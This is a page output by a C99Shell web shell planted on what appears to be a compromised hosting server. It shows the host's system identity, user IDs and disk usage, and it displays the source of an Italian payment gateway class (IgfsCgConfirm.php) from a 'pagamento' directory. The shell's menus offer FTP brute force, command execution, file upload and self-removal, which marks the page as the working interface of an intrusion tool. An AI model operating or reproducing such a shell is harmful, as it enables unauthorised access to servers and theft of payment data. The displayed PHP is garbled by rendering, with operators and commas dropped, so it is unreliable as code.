!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/tran/   drwxr-xr-x
Free 182.63 GB of 490.84 GB (37.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IgfsCgConfirm.php (3.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("IGFS_CG_API/tran/BaseIgfsCgTran.php");

class 
IgfsCgConfirm extends BaseIgfsCgTran {

    public 
$amount;
    public 
$refTranID;
    public 
$topUpID;
    public 
$splitTran;

    public 
$addInfo1;
    public 
$addInfo2;
    public 
$addInfo3;
    public 
$addInfo4;
    public 
$addInfo5;
    public 
$pendingAmount;

    function 
__construct() {
        
parent::__construct();
    }

    protected function 
resetFields() {
        
parent::resetFields();
        
$this->amount NULL;
        
$this->refTranID NULL;
        
$this->topUpID NULL;
        
$this->splitTran NULL;

        
$this->addInfo1 NULL;
        
$this->addInfo2 NULL;
        
$this->addInfo3 NULL;
        
$this->addInfo4 NULL;
        
$this->addInfo5 NULL;
        
$this->pendingAmount NULL;
    }

    protected function 
checkFields() {
        
parent::checkFields();
        if (
$this->amount == NULL)
            throw new 
IgfsMissingParException("Missing amount");

        if (
$this->refTranID == NULL)
        if (
$this->topUpID == NULL)
            throw new 
IgfsMissingParException("Missing refTranID");
    }

    protected function 
buildRequest() {
        
$request parent::buildRequest();
        
$request $this->replaceRequest($request"{amount}"$this->amount);

        if (
$this->refTranID != NULL)
            
$request $this->replaceRequest($request"{refTranID}""<refTranID><![CDATA[" $this->refTranID "]]></refTranID>");
        else
            
$request $this->replaceRequest($request"{refTranID}""");
        if (
$this->topUpID != NULL)
            
$request $this->replaceRequest($request"{topUpID}""<topUpID><![CDATA[" $this->topUpID "]]></topUpID>");
        else
            
$request $this->replaceRequest($request"{topUpID}""");

        if (
$this->splitTran != NULL)
            
$request $this->replaceRequest($request"{splitTran}""<splitTran><![CDATA[" $this->splitTran "]]></splitTran>");
        else
            
$request $this->replaceRequest($request"{splitTran}""");

        return 
$request;
    }

    protected function 
setRequestSignature($request) {
        
// signature dove il buffer e' cosi composto APIVERSION|TID|SHOPID|AMOUNT|REFORDERID
        
$fields = array(
                
$this->getVersion(), // APIVERSION
                
$this->tid// TID
                
$this->shopID// SHOPID
                
$this->amount// AMOUNT
                
$this->refTranID// REFORDERID
                
$this->topUpID);
        
$signature $this->getSignature($this->kSig// KSIGN
                
$fields); 
        
$request $this->replaceRequest($request"{signature}"$signature);
        return 
$request;
    }

    protected function 
getSoapResponseName() {
        return 
"ns1:ConfirmResponse";
    }

    protected function 
parseResponseMap($response) {
        
parent::parseResponseMap($response);
        
// Opzionale
        
$this->addInfo1 $response["addInfo1"];
        
// Opzionale
        
$this->addInfo2 $response["addInfo2"];
        
// Opzionale
        
$this->addInfo3 $response["addInfo3"];
        
// Opzionale
        
$this->addInfo4 $response["addInfo4"];
        
// Opzionale
        
$this->addInfo5 $response["addInfo5"];
        
// Opzionale
        
$this->pendingAmount $response["pendingAmount"];
    }

    protected function 
getResponseSignature($response) {
        
$fields = array(
                
$response["tid"], // TID
                
$response["shopID"], // SHOPID
                
$response["rc"], // RC
                
$response["errorDesc"],// ERRORDESC
                
$response["tranID"], // ORDERID
                
$response["date"], // TRANDATE
                
$response["addInfo1"], // UDF1
                
$response["addInfo2"], // UDF2
                
$response["addInfo3"], // UDF3
                
$response["addInfo4"], // UDF4
                
$response["addInfo5"]);// UDF5
        // signature dove il buffer e' cosi composto TID|SHOPID|RC|ERRORDESC|ORDERID|DATE|UDF1|UDF2|UDF3|UDF4|UDF5
        
return $this->getSignature($this->kSig// KSIGN
                
$fields); 
    }
    
    protected function 
getFileName() {
        return 
"IGFS_CG_API/tran/IgfsCgConfirm.request";
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0058 ]--